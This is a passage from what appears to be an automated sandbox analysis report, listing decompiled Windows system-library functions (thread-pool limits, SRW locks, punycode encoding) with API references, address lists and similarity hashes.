								 *_a16 =  *(_t81 + 0x2c) & 0x0000ffff;
								_t61 = _a20;
								__eflags = _t61;
								if(_t61 != 0) {
									_t43 =  *((intOrPtr*)(_t81 + 0x48));
									goto L8;
								}
							}
						}
					}
				} else {
					_t84 = E6D2792FC(_t52, _t52,  &_v28, _t79, _t83, _t92);
					if(_t84 >= 0) {
						_t73 = wcsrchr(_v24, 0x5c);
						if(_t73 == 0) {
							_t84 = 0xc0000039;
						} else {
							_t74 = _t73 + 2;
							_t65 = _t74;
							 *_a12 = _t74;
							_t11 = _t65 + 2; // 0x0
							_t82 = _t11;
							do {
								_t47 =  *_t65;
								_t65 = _t65 + 2;
							} while (_t47 != 0);
							_t76 = _t74 - _v24 & 0xfffffffe;
							 *_a16 = (_t65 - _t82 >> 1) + (_t65 - _t82 >> 1);
							 *_a8 = _t76;
							if(_t76 >= 0x2be) {
								L15:
								_t84 = 0x80000005;
							} else {
								memcpy(_v32, _v24, _t76);
								_t61 = _a20;
								if(_t61 != 0) {
									_t43 = _v8;
									if(_t43 != 0xffffffff) {
										L8:
										 *_t61 = _t43;
									}
								}
							}
						}
					}
				}
				return _t84;
			}

0x6d278ed7
0x6d278ee2
0x6d278eea
0x6d278eec
0x6d278eee
0x6d278ef2
0x6d278ef8
0x6d278ef9
0x6d278ef9
0x6d278efb
0x6d278efe
0x6d278fa2
0x6d278fa4
0x6d278fa6
0x6d278fa8
0x6d278fb7
0x6d278fb9
0x6d278fbf
0x6d278fc1
0x00000000
0x6d278fc3
0x6d278fc3
0x6d278fc9
0x00000000
0x6d278fcb
0x6d278fd3
0x6d278fe1
0x6d278fea
0x6d278fec
0x6d278fef
0x6d278ff1
0x6d278ff3
0x00000000
0x6d278ff3
0x6d278ff1
0x6d278fc9
0x6d278fc1
0x6d278f04
0x6d278f0f
0x6d278f13
0x6d278f20
0x6d278f26
0x6d2b9387
0x6d278f2c
0x6d278f2f
0x6d278f32
0x6d278f36
0x6d278f38
0x6d278f38
0x6d278f3b
0x6d278f3b
0x6d278f3e
0x6d278f41
0x6d278f51
0x6d278f56
0x6d278f5b
0x6d278f63
0x6d278ff8
0x6d278ff8
0x6d278f69
0x6d278f72
0x6d278f77
0x6d278f7f
0x6d278f81
0x6d278f88
0x6d278f8a
0x6d278f8a
0x6d278f8a
0x6d278f88
0x6d278f7f
0x6d278f63
0x6d278f26
0x6d278f13
0x6d278f94

APIs

wcsrchr.1105(?,0000005C,00000000,00000000,00000000), ref: 6D278F1B
memcpy.1105(?,?,?,00000000,00000000,00000000), ref: 6D278F72
LdrFindEntryForAddress.1105(?,?,00000000,00000000,00000000), ref: 6D278F9D
memcpy.1105(?,?,00000004,?,?,00000000,00000000,00000000), ref: 6D278FD3

Part of subcall function 6D2792FC: RtlEnterCriticalSection.1105(6D336D80,6D320158,00000018,6D2463DB), ref: 6D279331

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$AddressCriticalEnterEntryFindSectionwcsrchr
String ID:
API String ID: 3299649961-0
Opcode ID: c6ea268ef8c8fcab1552981f2e0ff5c81db2efd0c6554e3dd484ce8b91997272
Instruction ID: 58f1b2e7b5849ed3d2b228448597142e2db928432bf5ff5e4242078a4d478cb9
Opcode Fuzzy Hash: c6ea268ef8c8fcab1552981f2e0ff5c81db2efd0c6554e3dd484ce8b91997272
Instruction Fuzzy Hash: 5931E77224870A9FD725CF1CC881A6AB7E2FF84321F59852DF9558B690D730DC24C796

Uniqueness

Uniqueness Score: -1.00%

Function 6D318050, Relevance: 6.1, APIs: 4, Instructions: 78
threadCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E6D318050(void* __ecx, void* __edx, signed int _a4) {
				signed int _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t5;
				signed int _t6;
				signed int _t8;
				signed int _t13;
				signed int _t19;
				signed int _t24;
				signed int _t27;
				signed int _t29;

				_push(__ecx);
				_t5 =  *0x7ffe03c0;
				_t13 = _t5 << 3;
				if(_t13 < 0x300) {
					_t13 = 0x300;
				}
				_t6 = _t5 << 2;
				_v8 = _t6;
				if(_t6 < 0x180) {
					_t6 = 0x180;
					_v8 = 0x180;
				}
				_t19 =  *0x6d338754;
				_t27 = _a4;
				if(_t19 != 0) {
					__eflags = _t27 - _t19;
					if(_t27 <= _t19) {
						goto L23;
					}
					goto L9;
				} else {
					if(_t27 <= _t6) {
						L23:
						return _t6;
					}
					_t6 = _t13;
					if(_t27 <= _t13) {
						L10:
						if(_t6 == 0) {
							goto L23;
						}
						E6D262280(_t6, 0x6d3386c4);
						_t8 =  *0x6d338754;
						_t24 = 0;
						if(_t8 != 0) {
							__eflags = _t27 - _t8;
							if(_t27 <= _t8) {
								L19:
								_t6 = E6D25FFB0(0x6d3386c4, _t24, 0x6d3386c4);
								_t40 = _t24;
								if(_t24 != 0) {
									_t6 = E6D244B3F(0x6d3386c4, _t24, _t27, _t40);
									_t29 = _t6;
									_t41 = _t29;
									if(_t29 != 0) {
										E6D275AA0(_t19, _t29, _t24);
										E6D285C70(_t29, 0);
										_t6 = E6D279B82(0x6d3386c4, 0x6d3386c0, 0x6d3386c4, _t24, _t29, _t41);
									}
								}
								goto L23;
							}
							L16:
							_t24 = _t27;
							L17:
							if(_t24 != 0) {
								 *0x6d338754 = _t24;
							}
							goto L19;
						}
						if(_t27 <= _v8) {
							goto L19;
						}
						_t24 = _t13;
						if(_t27 <= _t13) {
							goto L17;
						}
						goto L16;
					}
					L9:
					_t6 = _t27;
					goto L10;
				}
			}

0x6d318055
0x6d318056
0x6d318063
0x6d318069
0x6d31806b
0x6d31806b
0x6d31806d
0x6d318075
0x6d31807a
0x6d31807c
0x6d31807e
0x6d31807e
0x6d318081
0x6d318087
0x6d31808c
0x6d31809a
0x6d31809c
0x00000000
0x00000000
0x00000000
0x6d31808e
0x6d318090
0x6d31810d
0x6d318112
0x6d318112
0x6d318092
0x6d318096
0x6d3180a0
0x6d3180a2
0x00000000
0x00000000
0x6d3180aa
0x6d3180af
0x6d3180b4
0x6d3180b8
0x6d3180c7
0x6d3180c9
0x6d3180d7
0x6d3180dd
0x6d3180e2
0x6d3180e4
0x6d3180e6
0x6d3180eb
0x6d3180ed
0x6d3180ef
0x6d3180f3
0x6d3180fb
0x6d318107
0x6d318107
0x6d3180ef
0x00000000
0x6d31810c
0x6d3180cb
0x6d3180cb
0x6d3180cd
0x6d3180cf
0x6d3180d1
0x6d3180d1
0x00000000
0x6d3180cf
0x6d3180bd
0x00000000
0x00000000
0x6d3180bf
0x6d3180c3
0x00000000
0x00000000
0x00000000
0x6d3180c5
0x6d31809e
0x6d31809e
0x00000000
0x6d31809e

APIs

RtlAcquireSRWLockExclusive.1105(6D3386C4,00000008,?,00000000,00000008,?,6D29F8D6,?,00000000,00000000,?,6D2422D2,00000000,?,00000000,00000034), ref: 6D3180AA
RtlReleaseSRWLockExclusive.1105(6D3386C4,6D3386C4,00000008,?,00000000,00000008,?,6D29F8D6,?,00000000,00000000,?,6D2422D2,00000000,?,00000000), ref: 6D3180DD
TpSetPoolMaxThreads.1105(00000000,00000000,6D3386C4,6D3386C4,00000008,?,00000000,00000008,?,6D29F8D6,?,00000000,00000000,?,6D2422D2,00000000), ref: 6D3180F3
TpSetPoolMaxThreadsSoftLimit.1105(00000000,00000000,00000000,00000000,6D3386C4,6D3386C4,00000008,?,00000000,00000008,?,6D29F8D6,?,00000000,00000000), ref: 6D3180FB

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLockPoolThreads$AcquireLimitReleaseSoft
String ID:
API String ID: 4208054433-0
Opcode ID: d5db9e0d7244853e9cfc641620df12a630b4250b92ace0ab6e5a378e156278f4
Instruction ID: fb1ab34b7d7dab21b24823640bb49e1700a285d3905c2ad0b1a0658ca48fb9c2
Opcode Fuzzy Hash: d5db9e0d7244853e9cfc641620df12a630b4250b92ace0ab6e5a378e156278f4
Instruction Fuzzy Hash: 4A112C36F0D56F77C72C9B2A4D91EAFB2685F85348B520239EF11E7340DA328D4186E9

Uniqueness

Uniqueness Score: -1.00%

Function 6D2D2D0B, Relevance: 6.1, APIs: 4, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E6D2D2D0B(void* __ecx) {
				signed int _v8;
				void* __ebx;
				void* __edi;
				intOrPtr* _t17;
				signed int _t29;
				signed int _t34;
				intOrPtr* _t37;
				void* _t42;

				_push(__ecx);
				_t34 = 0;
				_t29 = 0;
				_v8 = 0;
				E6D26FAD0( *0x6d3384cc + 4);
				_t32 =  *0x6d3384cc;
				_t17 =  *0x6d3384cc + 8;
				_t37 =  *_t17;
				if(_t37 == _t17) {
					L10:
					return E6D26FA00(_t29, _t32, _t34, _t32 + 4);
				} else {
					goto L1;
				}
				do {
					L1:
					_t3 = _t37 + 0xc; // 0xc
					E6D26FAD0(_t3);
					if( *((intOrPtr*)(_t37 + 0x40)) != 2) {
						goto L7;
					}
					if((_t34 | _t29) == 0) {
						L6:
						_t34 =  *(_t37 + 0x44);
						_t29 =  *(_t37 + 0x48);
						_v8 = 1;
						goto L7;
					}
					_t42 =  *(_t37 + 0x48) - _t29;
					if(_t42 <= 0 && (_t42 < 0 ||  *(_t37 + 0x44) < _t34)) {
						goto L6;
					}
					L7:
					_t10 = _t37 + 0xc; // 0xc
					E6D26FA00(_t29, _t32, _t34, _t10);
					_t32 =  *0x6d3384cc;
					_t37 =  *_t37;
				} while (_t37 !=  *0x6d3384cc + 8);
				if(_v8 != 0) {
					E6D2D33A0(_t29, _t34, _t29);
					_t32 =  *0x6d3384cc;
				}
				goto L10;
			}

0x6d2d2d10
0x6d2d2d1c
0x6d2d2d1f
0x6d2d2d21
0x6d2d2d24
0x6d2d2d29
0x6d2d2d2f
0x6d2d2d32
0x6d2d2d36
0x6d2d2d91
0x6d2d2da0
0x00000000
0x00000000
0x00000000
0x6d2d2d38
0x6d2d2d38
0x6d2d2d38
0x6d2d2d3c
0x6d2d2d45
0x00000000
0x00000000
0x6d2d2d4b
0x6d2d2d59
0x6d2d2d59
0x6d2d2d5c
0x6d2d2d5f
0x00000000
0x6d2d2d5f
0x6d2d2d4d
0x6d2d2d50
0x00000000
0x00000000
0x6d2d2d66
0x6d2d2d66
0x6d2d2d6a
0x6d2d2d6f
0x6d2d2d75
0x6d2d2d7a
0x6d2d2d82
0x6d2d2d86
0x6d2d2d8b
0x6d2d2d8b
0x00000000

APIs

RtlAcquireSRWLockShared.1105(?,00000000,00000000,00000008,?,?,6D29FFD2,00000000,?,00000000,00000000,00000000,00001030,000000FF,?,00000000), ref: 6D2D2D24
RtlAcquireSRWLockShared.1105(0000000C,?,00000000,00000000,00000008,?,?,6D29FFD2,00000000,?,00000000,00000000,00000000,00001030,000000FF,?), ref: 6D2D2D3C

Part of subcall function 6D26FAD0: RtlDllShutdownInProgress.1105(00000000), ref: 6D26FB35
Part of subcall function 6D26FAD0: ZwWaitForAlertByThreadId.1105(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6D26FBE3

RtlReleaseSRWLockShared.1105(0000000C,0000000C,?,00000000,00000000,00000008,?,?,6D29FFD2,00000000,?), ref: 6D2D2D6A
RtlReleaseSRWLockShared.1105(?,?,00000000,00000000,00000008,?,?,6D29FFD2,00000000,?,00000000,00000000,00000000,00001030,000000FF,?), ref: 6D2D2D95

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: LockShared$AcquireRelease$AlertProgressShutdownThreadWait
String ID:
API String ID: 276812241-0
Opcode ID: e638672e871b812086837005c9dd2649806427a3e1417d5080c79f8e0c8e2ec1
Instruction ID: 2b81c17af73d89f589bb404dd4803932836b161c950e9efc292763b4225a6297
Opcode Fuzzy Hash: e638672e871b812086837005c9dd2649806427a3e1417d5080c79f8e0c8e2ec1
Instruction Fuzzy Hash: 7311A0B654538EAFCF30CE94C5809A7B3BCEF89319B11846EE64993600D732ED45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6D26E63F, Relevance: 6.1, APIs: 4, Instructions: 53
threadCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E6D26E63F(intOrPtr* __ecx, intOrPtr __edx) {
				intOrPtr _t18;
				intOrPtr _t24;
				intOrPtr* _t34;

				_push(__ecx);
				_t24 = __edx;
				_t34 = __ecx;
				if( *((intOrPtr*)(__edx + 0x38)) != 0xffffffff) {
					if( *((intOrPtr*)(__edx + 0x38)) != 0) {
						 *__ecx = 0x24;
						 *((intOrPtr*)(__ecx + 4)) = 1;
						E6D25F540(__ecx,  *((intOrPtr*)(__edx + 0x38)));
						 *(__ecx + 0x28) =  *(__ecx + 0x28) | 0x00000001;
					}
				}
				 *(_t34 + 0x50) =  *(_t34 + 0x50) | 0x00000240;
				 *((intOrPtr*)(_t34 + 0x6c)) = _t24;
				if(( *(_t24 + 0x68) & 0x00000003) == 1) {
					E6D244B00(_t34);
				}
				_t18 =  *((intOrPtr*)(_t24 + 0x3c));
				if(_t18 != 0) {
					 *((intOrPtr*)(_t34 + 0x2c)) = _t18;
					E6D243E80(_t18);
				}
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				return E6D26E6B0(_t24 + 0x50);
			}

0x6d26e647
0x6d26e649
0x6d26e64d
0x6d26e653
0x6d26e69b
0x6d29e248
0x6d29e24e
0x6d29e258
0x6d29e25d
0x6d29e25d
0x6d26e69b
0x6d26e655
0x6d26e65c
0x6d26e666
0x6d26e6a3
0x6d26e6a3
0x6d26e668
0x6d26e66d
0x6d29e267
0x6d29e26a
0x6d29e26a
0x6d26e687
0x6d26e688
0x6d26e689
0x6d26e68a
0x6d26e696

APIs

RtlSetThreadWorkOnBehalfTicket.1105(?,?,?), ref: 6D26E68B
TpCallbackMayRunLong.1105(?,?,?), ref: 6D26E6A3
RtlActivateActivationContextUnsafeFast.1105(?,?,?,?,?,6D279688,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6D29E258

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: ActivateActivationBehalfCallbackContextFastLongThreadTicketUnsafeWork
String ID:
API String ID: 3384506009-0
Opcode ID: 09daa6f13e10e10deb403ab3800f05a1ef34cbce950abe0e6d2b8a8228a42360
Instruction ID: ffa5fdf2bff7c26eb9f051b35db166bd79ffd4f7a7d956f210ebc7f8b2ca95b6
Opcode Fuzzy Hash: 09daa6f13e10e10deb403ab3800f05a1ef34cbce950abe0e6d2b8a8228a42360
Instruction Fuzzy Hash: 740104315987498BC721CF29C884B53B7A8BF46329F108629DB54CB180E7B1A8C1CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 6D2F8061, Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 402
COMMON

Download Yara Rule

C-Code - Quality: 99%

			E6D2F8061(signed short __ecx, signed int __edx, signed int _a4, signed int* _a8, char _a12, char _a16) {
				signed int _v8;
				signed short _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				signed short _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				signed short _v48;
				signed short _v52;
				intOrPtr _v56;
				signed short _v60;
				intOrPtr _v64;
				signed int _v68;
				signed int _v72;
				intOrPtr _v76;
				signed short _v80;
				signed int _v84;
				signed int _t149;
				signed int _t152;
				void* _t153;
				void* _t155;
				signed short _t160;
				char* _t162;
				signed short _t163;
				signed int _t166;
				intOrPtr _t170;
				void* _t172;
				intOrPtr _t176;
				intOrPtr _t181;
				intOrPtr _t182;
				intOrPtr _t186;
				void* _t188;
				signed short _t189;
				intOrPtr _t193;
				signed int _t194;
				void* _t196;
				signed short _t197;
				signed int _t198;
				void* _t203;
				char* _t204;
				signed short _t205;
				void* _t209;
				signed int _t210;
				signed short _t213;
				signed int* _t214;
				intOrPtr* _t215;
				signed short _t216;
				signed int _t217;
				signed short _t222;
				intOrPtr _t228;
				signed int _t229;
				void* _t232;
				signed int _t233;
				intOrPtr _t236;
				signed int _t237;
				signed int _t238;
				intOrPtr _t241;
				signed short _t248;
				signed int _t249;
				signed short _t250;
				signed int _t252;
				void* _t253;
				signed short _t254;
				void* _t259;
				void* _t261;
				signed int _t262;
				signed short _t265;
				signed int _t266;
				signed short _t267;
				intOrPtr _t268;
				signed short _t269;
				signed short _t270;
				signed int _t273;
				signed short _t274;
				void* _t275;

				_t216 = __ecx;
				_v12 = __ecx;
				_v52 = __ecx;
				_t214 = _a8;
				_v40 = __ecx + __edx * 2;
				_t273 = _a4;
				_t149 = _t273;
				_v72 = _t149;
				_t262 = _t149;
				_v84 = _t262;
				_v20 = _t262 +  *_t214 * 2;
				if(__edx > 0) {
					_t241 = _v40;
					_t152 = _t262;
					__eflags = __ecx - _t241;
					if(__ecx >= _t241) {
						L87:
						__eflags = _a12;
						_t262 = _t152;
						_t217 = _t262;
						if(_a12 != 0) {
							goto L89;
						}
						goto L88;
					} else {
						_v36 = _t152;
						_v76 = 0x19;
						while(1) {
							_t215 = E6D245DDE(_t216, _t241, _a12);
							_t160 = _v12;
							__eflags = _t215 - _t160;
							if(_t215 == _t160) {
								break;
							}
							__eflags = _a12;
							if(_a12 != 0) {
								_t162 = L"xl--";
								L13:
								_push(_t216);
								_push(_t216);
								_t163 = E6D2CE850(_t273, _v20 - _t273 >> 1, _t162,  &_a4,  &_a4);
								__eflags = _t163;
								if(_t163 < 0) {
									L92:
									_t155 = 0xc0000023;
									L91:
									 *_a8 =  *_a8 & 0x00000000;
									return _t155;
								}
								_t222 = _v12;
								_t265 = 0;
								_t273 = _a4;
								_t248 = _t222;
								_v28 = 0;
								_v24 = _t273;
								__eflags = _t222 - _t215;
								if(_t222 >= _t215) {
									L33:
									_v80 = _t265;
									_t166 = _t215 - _t222 >> 1;
									_v68 = _t166;
									__eflags = _t265 - _t166;
									if(_t265 != _t166) {
										__eflags = (_v40 - _t222 & 0xfffffffe) - 8;
										if((_v40 - _t222 & 0xfffffffe) < 8) {
											L42:
											_v32 = _v32 & 0x00000000;
											__eflags = _t265;
											if(_t265 <= 0) {
												L45:
												_t170 = 0x48;
												_v48 = 0x80;
												_t249 = 0;
												__eflags = 0;
												_v44 = _t170;
												while(1) {
													_v8 = _t249;
													__eflags = _t265 - _v68;
													if(_t265 >= _v68) {
														break;
													}
													_t176 = 0x7ffffff;
													_t267 = _t222;
													_v16 = 0x7ffffff;
													__eflags = _t222 - _t215;
													if(__eflags >= 0) {
														L54:
														_t265 = _v28;
														_t252 = _t249 + (_t265 - _v32 + 1) * (_t176 - _v48);
														_t222 = _v12;
														_v8 = _t252;
														_t178 = _t222;
														_v48 = _t222;
														__eflags = _t222 - _t215;
														if(__eflags >= 0) {
															L77:
															_t249 = _t252 + 1;
															_v48 = _v16 + 1;
															continue;
														} else {
															goto L55;
														}
														do {
															L55:
															_t181 = E6D2F7EE9(_t178, __eflags);
															_t252 = _v8;
															_t228 = _t181;
															_t182 = _v16;
															_v64 = _t228;
															__eflags = _t228 - _t182;
															if(__eflags < 0) {
																_t252 = _t252 + 1;
																__eflags = _t228 - _t182;
																_v8 = _t252;
															}
															if(__eflags == 0) {
																_t186 = _v44;
																_t229 = _t252;
																_t268 = 0x24;
																_t253 = _t268;
																_t254 = _t253 - _t186;
																__eflags = _t254;
																while(1) {
																	_v60 = _t254;
																	_v56 = _t268;
																	__eflags = _t268 - _t186;
																	if(_t268 > _t186) {
																		__eflags = _t268 - _t186 + 0x1a;
																		if(_t268 < _t186 + 0x1a) {
																			_t269 = _t254;
																		} else {
																			_t269 = 0x1a;
																		}
																	} else {
																		_t269 = 1;
																	}
																	__eflags = _t229 - _t269;
																	if(_t229 < _t269) {
																		break;
																	}
																	__eflags = _t273 - _v20;
																	if(_t273 >= _v20) {
																		goto L92;
																	}
																	_v24 = _t229 - _t269;
																	_t194 = _v24;
																	_t232 = 0x24;
																	_t233 = _t232 - _t269;
																	asm("cdq");
																	_t229 = _t194 / _t233;
																	_v24 = _t229;
																	_t196 = _t194 % _t233 + _t269;
																	_t259 = 0x19;
																	__eflags = _t196 - _t259;
																	if(_t196 <= _t259) {
																		_t197 = _t196 + 0x61;
																		__eflags = _t197;
																		_t198 = _t197 & 0x0000ffff;
																	} else {
																		_t198 = _t196 + 0x00000016 & 0x0000ffff;
																		_t229 = _v24;
																	}
																	_t268 = _v56 + 0x24;
																	 *_t273 = _t198;
																	_t273 = _t273 + 2;
																	_t186 = _v44;
																	_t254 = _v60 + 0x24;
																}
																__eflags = _t273 - _v20;
																if(_t273 >= _v20) {
																	goto L92;
																}
																_t188 = 0x19;
																__eflags = _t229 - _t188;
																_t189 = _t229 + 0x16;
																if(_t229 <= _t188) {
																	_t189 = _t229 + 0x61;
																}
																_t270 = _v28;
																 *_t273 = _t189 & 0x0000ffff;
																_t273 = _t273 + 2;
																__eflags = _t270 - _v80;
																_v24 = _t273;
																_a4 = _t273;
																_t193 = E6D2F7FD5(_v8, _t270 - _v32 + 1, (_t189 & 0xff00 | _t270 == _v80) & 0x000000ff);
																_t228 = _v64;
																_t252 = 0;
																_t265 = _t270 + 1;
																_v44 = _t193;
																__eflags = _v16 - 0x10000;
																_v8 = 0;
																_v28 = _t265;
																if(_v16 >= 0x10000) {
																	_t265 = _t265 + 1;
																	_t112 =  &_v32;
																	 *_t112 = _v32 + 1;
																	__eflags =  *_t112;
																	_v28 = _t265;
																}
															}
															__eflags = _t228 - 0x10000;
															_v48 = _v48 + 2 + (0 | _t228 - 0x00010000 >= 0x00000000) * 2;
															_t178 = _v48;
															__eflags = _v48 - _t215;
														} while (__eflags < 0);
														_t222 = _v12;
														goto L77;
													}
													_t274 = _v48;
													do {
														_t236 = E6D2F7EE9(_t267, __eflags);
														__eflags = _t236 - _t274;
														if(_t236 >= _t274) {
															__eflags = _t236 - _v16;
															if(_t236 < _v16) {
																_v16 = _t236;
															}
														}
														__eflags = _t236 - 0x10000;
														_t267 = _t267 + 2 + (0 | _t236 - 0x00010000 >= 0x00000000) * 2;
														__eflags = _t267 - _t215;
													} while (__eflags < 0);
													_t273 = _v24;
													_t249 = _v8;
													_t176 = _v16;
													goto L54;
												}
												_t266 = _v36;
												L79:
												_t250 = _a12;
												__eflags = _t250;
												if(_t250 != 0) {
													L81:
													__eflags = _t215 - _v40;
													if(_t215 == _v40) {
														L86:
														_t241 = _v40;
														_t216 = _t215 + 2;
														_v12 = _t216;
														_t152 = _t273;
														_v36 = _t273;
														_t262 = _t273;
														__eflags = _t215 - _t241;
														if(_t215 < _t241) {
															continue;
														}
														goto L87;
													}
													__eflags = _t273 - _v20;
													if(_t273 >= _v20) {
														goto L92;
													}
													 *_t273 =  *_t215;
													_t273 = _t273 + 2;
													_a4 = _t273;
													__eflags = _t250;
													if(_t250 != 0) {
														_t172 = 0x40;
														__eflags =  *_t215 - _t172;
														if( *_t215 == _t172) {
															__eflags = 0;
															_v72 = _t273;
															_a12 = 0;
														}
													}
													goto L86;
												}
												__eflags = (_t273 - _t266 & 0xfffffffe) - 0x7e;
												if((_t273 - _t266 & 0xfffffffe) > 0x7e) {
													L90:
													_t155 = 0xc0000716;
													goto L91;
												}
												goto L81;
											}
											__eflags = _t273 - _v20;
											if(_t273 >= _v20) {
												goto L92;
											}
											_t203 = 0x2d;
											 *_t273 = _t203;
											_t273 = _t273 + 2;
											__eflags = _t273;
											_v24 = _t273;
											_a4 = _t273;
											goto L45;
										}
										__eflags = _a12;
										_t204 = L"xl--";
										if(_a12 == 0) {
											_t204 = L"xn--";
										}
										_t205 = E6D28E5C0(_t222, _t204, 4);
										_t275 = _t275 + 0xc;
										__eflags = _t205;
										if(_t205 == 0) {
											goto L90;
										} else {
											_t222 = _v12;
											goto L42;
										}
									}
									_t266 = _v36;
									_t261 = _t273 - 8;
									_t237 = _t266;
									__eflags = _t266 - _t261;
									if(_t266 >= _t261) {
										L36:
										_t273 = _t273 - 8;
										_a4 = _t273;
										goto L79;
									} else {
										goto L35;
									}
									do {
										L35:
										 *_t237 =  *((intOrPtr*)(_t237 + 8));
										_t237 = _t237 + 2;
										__eflags = _t237 - _t261;
									} while (_t237 < _t261);
									goto L36;
								} else {
									goto L15;
								}
								do {
									L15:
									_t238 =  *_t248 & 0x0000ffff;
									__eflags = _t238 - 0x80;
									if(_t238 >= 0x80) {
										__eflags = _t238 + 0x2800 - 0x3ff;
										if(_t238 + 0x2800 <= 0x3ff) {
											_t248 = _t248 + 2;
											__eflags = _t248;
										}
										goto L31;
									}
									_t209 = _a12;
									__eflags = _t209;
									if(_t209 != 0) {
										L22:
										__eflags = _t238;
										if(_t238 == 0) {
											goto L90;
										}
										__eflags = _t273 - _v20;
										if(_t273 >= _v20) {
											goto L92;
										}
										__eflags = _t209;
										if(_t209 != 0) {
											L27:
											_t210 = _t238;
											L28:
											 *_t273 = _t210;
											_t273 = _t273 + 2;
											_t265 = _t265 + 1;
											_v24 = _t273;
											_a4 = _t273;
											_v28 = _t265;
											goto L31;
										}
										__eflags = _t238 - 0x41 - _v76;
										if(_t238 - 0x41 > _v76) {
											goto L27;
										} else {
											_t210 = _t238 + 0x00000020 & 0x0000ffff;
											goto L28;
										}
									}
									__eflags = _a16 - _t209;
									if(_a16 == _t209) {
										L20:
										__eflags = _t238 - 0x20;
										if(_t238 < 0x20) {
											goto L90;
										}
										__eflags = _t238 - 0x7f;
										if(_t238 == 0x7f) {
											goto L90;
										}
										goto L22;
									}
									_t213 = E6D2F7F9F(_t238);
									__eflags = _t213;
									if(_t213 == 0) {
										goto L90;
									} else {
										_t209 = _a12;
										goto L20;
									}
									L31:
									_t248 = _t248 + 2;
									__eflags = _t248 - _t215;
								} while (_t248 < _t215);
								_t222 = _v12;
								goto L33;
							}
							__eflags = _a16;
							if(_a16 == 0) {
								L11:
								_t162 = L"xn--";
								goto L13;
							}
							_t216 = 0x2d;
							__eflags =  *_t160 - _t216;
							if( *_t160 == _t216) {
								goto L90;
							}
							__eflags = _t215 - _v52;
							if(_t215 <= _v52) {
								goto L11;
							}
							__eflags =  *((intOrPtr*)(_t215 - 2)) - _t216;
							if( *((intOrPtr*)(_t215 - 2)) == _t216) {
								goto L90;
							}
							goto L11;
						}
						__eflags = _a12;
						if(_a12 != 0) {
							L95:
							 *_a8 =  *_a8 & 0x00000000;
							goto L2;
						}
						__eflags = _t215 - _t241;
						if(_t215 == _t241) {
							L88:
							_t217 = _t262;
							 *((short*)(_t273 - 2)) - 0x2e = _t262 - _v72 >> 1 - ( *((short*)(_t273 - 2)) == 0x2e) + 0xfe;
							if(_t262 - _v72 >> 1 > ( *((short*)(_t273 - 2)) == 0x2e) + 0xfe) {
								goto L90;
							}
							L89:
							_t153 = 0x40;
							__eflags =  *((intOrPtr*)(_t273 - 2)) - _t153;
							if( *((intOrPtr*)(_t273 - 2)) != _t153) {
								__eflags = 0;
								 *_a8 = _t217 - _v84 >> 1;
								return 0;
							}
							goto L90;
						}
						goto L95;
					}
				} else {
					 *_t214 =  *_t214 & 0x00000000;
					L2:
					return 0xc0000716;
				}
			}

0x6d2f8061
0x6d2f8069
0x6d2f806e
0x6d2f8072
0x6d2f8078
0x6d2f807c
0x6d2f807f
0x6d2f8081
0x6d2f8085
0x6d2f8089
0x6d2f808f
0x6d2f8094
0x6d2f80a3
0x6d2f80a6
0x6d2f80a8
0x6d2f80aa
0x6d2f8464
0x6d2f8464
0x6d2f8468
0x6d2f846a
0x6d2f846c
0x00000000
0x00000000
0x00000000
0x6d2f80b0
0x6d2f80b0
0x6d2f80b3
0x6d2f80ba
0x6d2f80c2
0x6d2f80c4
0x6d2f80c7
0x6d2f80c9
0x00000000
0x00000000
0x6d2f80cf
0x6d2f80d3
0x6d2f80fd
0x6d2f8102
0x6d2f8105
0x6d2f8106
0x6d2f8113
0x6d2f8118
0x6d2f811a
0x6d2f849e
0x6d2f849e
0x6d2f8496
0x6d2f8499
0x00000000
0x6d2f8499
0x6d2f8120
0x6d2f8123
0x6d2f8125
0x6d2f8128
0x6d2f812a
0x6d2f812d
0x6d2f8130
0x6d2f8132
0x6d2f81cf
0x6d2f81d1
0x6d2f81d6
0x6d2f81d8
0x6d2f81db
0x6d2f81dd
0x6d2f820c
0x6d2f820f
0x6d2f8238
